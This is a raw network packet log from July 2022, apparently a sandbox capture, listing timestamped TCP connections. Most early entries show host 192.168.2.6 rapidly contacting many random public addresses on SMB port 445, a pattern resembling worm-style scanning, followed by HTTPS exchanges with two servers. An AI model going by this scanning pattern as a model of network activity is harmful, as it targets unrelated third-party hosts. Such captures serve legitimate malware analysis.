Jul 20, 2022 09:08:22.136045933 CEST	50783	445	192.168.2.6	216.51.121.14
Jul 20, 2022 09:08:22.136723042 CEST	50784	445	192.168.2.6	124.28.193.140
Jul 20, 2022 09:08:22.136801958 CEST	50785	445	192.168.2.6	43.245.202.61
Jul 20, 2022 09:08:22.136883974 CEST	50786	445	192.168.2.6	220.61.188.80
Jul 20, 2022 09:08:22.136974096 CEST	50787	445	192.168.2.6	81.55.2.246
Jul 20, 2022 09:08:22.137053013 CEST	50788	445	192.168.2.6	14.47.232.154
Jul 20, 2022 09:08:22.137124062 CEST	50789	445	192.168.2.6	162.253.22.139
Jul 20, 2022 09:08:22.137217999 CEST	50790	445	192.168.2.6	108.215.43.132
Jul 20, 2022 09:08:22.137295008 CEST	50791	445	192.168.2.6	64.85.134.48
Jul 20, 2022 09:08:22.137362003 CEST	50792	445	192.168.2.6	42.93.64.204
Jul 20, 2022 09:08:22.137447119 CEST	50793	445	192.168.2.6	132.126.92.203
Jul 20, 2022 09:08:22.137518883 CEST	50794	445	192.168.2.6	45.22.222.74
Jul 20, 2022 09:08:22.137758970 CEST	50795	445	192.168.2.6	196.222.227.235
Jul 20, 2022 09:08:22.137830973 CEST	50796	445	192.168.2.6	119.53.130.199
Jul 20, 2022 09:08:22.137911081 CEST	50797	445	192.168.2.6	152.163.135.162
Jul 20, 2022 09:08:22.137974977 CEST	50798	445	192.168.2.6	91.50.249.106
Jul 20, 2022 09:08:22.138042927 CEST	50799	445	192.168.2.6	170.44.43.49
Jul 20, 2022 09:08:22.138114929 CEST	50800	445	192.168.2.6	53.235.104.146
Jul 20, 2022 09:08:22.138191938 CEST	50801	445	192.168.2.6	174.152.252.235
Jul 20, 2022 09:08:22.138303041 CEST	50802	445	192.168.2.6	150.160.120.192
Jul 20, 2022 09:08:22.138360977 CEST	50803	445	192.168.2.6	1.16.79.54
Jul 20, 2022 09:08:22.213876009 CEST	50804	445	192.168.2.6	217.13.8.232
Jul 20, 2022 09:08:22.214637041 CEST	50805	445	192.168.2.6	152.249.40.250
Jul 20, 2022 09:08:22.215358973 CEST	50806	445	192.168.2.6	108.156.39.69
Jul 20, 2022 09:08:22.216083050 CEST	50807	445	192.168.2.6	77.167.81.213
Jul 20, 2022 09:08:22.216891050 CEST	50808	445	192.168.2.6	83.38.85.251
Jul 20, 2022 09:08:22.218697071 CEST	50809	445	192.168.2.6	63.69.106.166
Jul 20, 2022 09:08:22.435096025 CEST	50810	445	192.168.2.6	39.9.40.236
Jul 20, 2022 09:08:23.812973976 CEST	50355	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:08:24.013186932 CEST	50811	445	192.168.2.6	89.100.145.101
Jul 20, 2022 09:08:24.013925076 CEST	50812	445	192.168.2.6	195.25.153.134
Jul 20, 2022 09:08:24.014548063 CEST	50813	445	192.168.2.6	217.46.160.187
Jul 20, 2022 09:08:24.015136957 CEST	50814	445	192.168.2.6	143.135.120.226
Jul 20, 2022 09:08:24.015748024 CEST	50815	445	192.168.2.6	118.115.180.175
Jul 20, 2022 09:08:24.016997099 CEST	50816	445	192.168.2.6	162.87.213.147
Jul 20, 2022 09:08:24.017620087 CEST	50817	445	192.168.2.6	110.111.54.189
Jul 20, 2022 09:08:24.018219948 CEST	50818	445	192.168.2.6	42.234.239.120
Jul 20, 2022 09:08:24.020523071 CEST	50819	445	192.168.2.6	96.94.247.93
Jul 20, 2022 09:08:24.025497913 CEST	50820	445	192.168.2.6	117.221.225.21
Jul 20, 2022 09:08:24.025497913 CEST	50822	445	192.168.2.6	196.236.104.79
Jul 20, 2022 09:08:24.025573015 CEST	50824	445	192.168.2.6	56.219.7.222
Jul 20, 2022 09:08:24.025614977 CEST	50825	445	192.168.2.6	216.153.38.33
Jul 20, 2022 09:08:24.025778055 CEST	50829	445	192.168.2.6	39.180.195.62
Jul 20, 2022 09:08:24.025873899 CEST	50831	445	192.168.2.6	62.111.126.176
Jul 20, 2022 09:08:24.026068926 CEST	50834	445	192.168.2.6	2.22.137.112
Jul 20, 2022 09:08:24.026091099 CEST	50835	445	192.168.2.6	142.113.219.12
Jul 20, 2022 09:08:24.027806997 CEST	50821	445	192.168.2.6	157.1.163.204
Jul 20, 2022 09:08:24.027812958 CEST	50828	445	192.168.2.6	98.156.116.141
Jul 20, 2022 09:08:24.027818918 CEST	50823	445	192.168.2.6	193.80.79.145
Jul 20, 2022 09:08:24.027828932 CEST	50832	445	192.168.2.6	85.122.6.213
Jul 20, 2022 09:08:24.027836084 CEST	50833	445	192.168.2.6	53.148.63.203
Jul 20, 2022 09:08:24.027848959 CEST	50830	445	192.168.2.6	80.24.195.45
Jul 20, 2022 09:08:24.027849913 CEST	50826	445	192.168.2.6	162.8.52.67
Jul 20, 2022 09:08:24.027858019 CEST	50827	445	192.168.2.6	213.8.193.125
Jul 20, 2022 09:08:24.027858973 CEST	50837	445	192.168.2.6	210.13.202.28
Jul 20, 2022 09:08:24.027864933 CEST	50836	445	192.168.2.6	184.127.199.18
Jul 20, 2022 09:08:24.027868032 CEST	50839	445	192.168.2.6	210.214.193.133
Jul 20, 2022 09:08:24.027872086 CEST	50838	445	192.168.2.6	12.72.141.88
Jul 20, 2022 09:08:24.029548883 CEST	50840	445	192.168.2.6	201.187.246.2
Jul 20, 2022 09:08:24.030416965 CEST	50841	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:24.030457973 CEST	443	50841	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:24.030550003 CEST	50841	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:24.031333923 CEST	50841	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:24.031354904 CEST	443	50841	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:24.126565933 CEST	443	50841	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:24.126717091 CEST	50841	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:24.176052094 CEST	50841	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:24.176083088 CEST	443	50841	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:24.176369905 CEST	443	50841	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:24.178992033 CEST	50842	445	192.168.2.6	67.226.237.115
Jul 20, 2022 09:08:24.182070971 CEST	50841	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:24.182152987 CEST	50841	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:24.182166100 CEST	443	50841	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:24.182354927 CEST	50841	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:24.209707022 CEST	443	50841	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:24.210211992 CEST	50841	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:24.210239887 CEST	443	50841	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:24.210264921 CEST	50841	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:24.210320950 CEST	50841	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:24.571644068 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.571672916 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.572026014 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.572032928 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.572061062 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.572124004 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.572746038 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.572776079 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.573024035 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.573090076 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.573235035 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.573780060 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.573796988 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.574052095 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.574059010 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.574131966 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.574182987 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.588135004 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.588162899 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.588440895 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.588480949 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.588494062 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.589148045 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.589446068 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.589474916 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.589555025 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.591629982 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.591687918 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.591710091 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.591768026 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.591820002 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.591825962 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.591881037 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.593044043 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.593076944 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.593103886 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.593139887 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.593198061 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.593209982 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.593271017 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.593482018 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.593511105 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.593532085 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.593549013 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.593561888 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.593610048 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.593651056 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.593681097 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.593748093 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.593777895 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.593790054 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.593816996 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.593820095 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.593849897 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.593854904 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.593894005 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.594635963 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.594665051 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.594708920 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.594712973 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.594734907 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.594774961 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.594813108 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.595295906 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.595324993 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.595371962 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.595426083 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.595436096 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.595499039 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.595663071 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.595700026 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.595767021 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.595773935 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.595804930 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.595833063 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.596609116 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.596628904 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.596728086 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.596749067 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.596807957 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.596812963 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.597327948 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.597353935 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.597420931 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.597429037 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.597485065 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.606189013 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.606240034 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.606380939 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.606390953 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.606408119 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.606446981 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.607320070 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.607346058 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.607451916 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.607475042 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.607534885 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.607801914 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.607827902 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.607899904 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.607913971 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.607918978 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.607964993 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.608019114 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.608134985 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.608165026 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.608172894 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.608191013 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.608217001 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.608280897 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.608284950 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.608295918 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.608305931 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.608325005 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.608340979 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.608351946 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.608406067 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.608463049 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.608469009 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.608959913 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.609076023 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.609432936 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.609532118 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.609654903 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.609669924 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.609694958 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.609698057 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.609760046 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.609766006 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.609769106 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.609843016 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.609870911 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.609877110 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.609886885 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.609901905 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.609922886 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.610006094 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.610019922 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.610052109 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.610054016 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.610054970 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.610093117 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.610858917 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.610886097 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.611010075 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.611028910 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.611077070 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.611083031 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.611099005 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.611166954 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.611180067 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.611221075 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.611248016 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.611515045 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.611537933 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.611625910 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.611637115 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.611686945 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.611846924 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.611871958 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.611951113 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.611964941 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.611974001 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.611984015 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.612030983 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.612040043 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.612071991 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.612080097 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.612118959 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.612123966 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.612823009 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.612926960 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.612993956 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.613022089 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.613089085 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.613107920 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.613136053 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.613164902 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.613687992 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.613711119 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.613784075 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.613792896 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.613835096 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.613862038 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.614456892 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.614507914 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.614557981 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.614612103 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.622770071 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.622797966 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.622911930 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.622932911 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.622987032 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.624335051 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.624371052 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.624449015 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.624459982 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.624511003 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.624531984 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.624938965 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.624965906 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.624970913 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625041008 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625052929 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625087023 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625111103 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625149012 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625149012 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625221014 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625231981 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625283957 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625324965 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625356913 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625410080 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625430107 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625462055 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625468016 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625473976 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625483036 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625511885 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625524044 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625602961 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625611067 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625648022 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625699997 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625704050 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625787020 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625798941 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625825882 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625889063 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625901937 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.625926018 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.625957966 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.626538992 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.626565933 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.626677990 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.626707077 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.626770973 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.627477884 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.627520084 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.627597094 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.627605915 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.627669096 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.627737999 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.627767086 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.627789974 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.627839088 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.627872944 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.627882957 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.627919912 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.627991915 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.628027916 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.628082991 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.628122091 CEST	50724	443	192.168.2.6	80.67.82.211
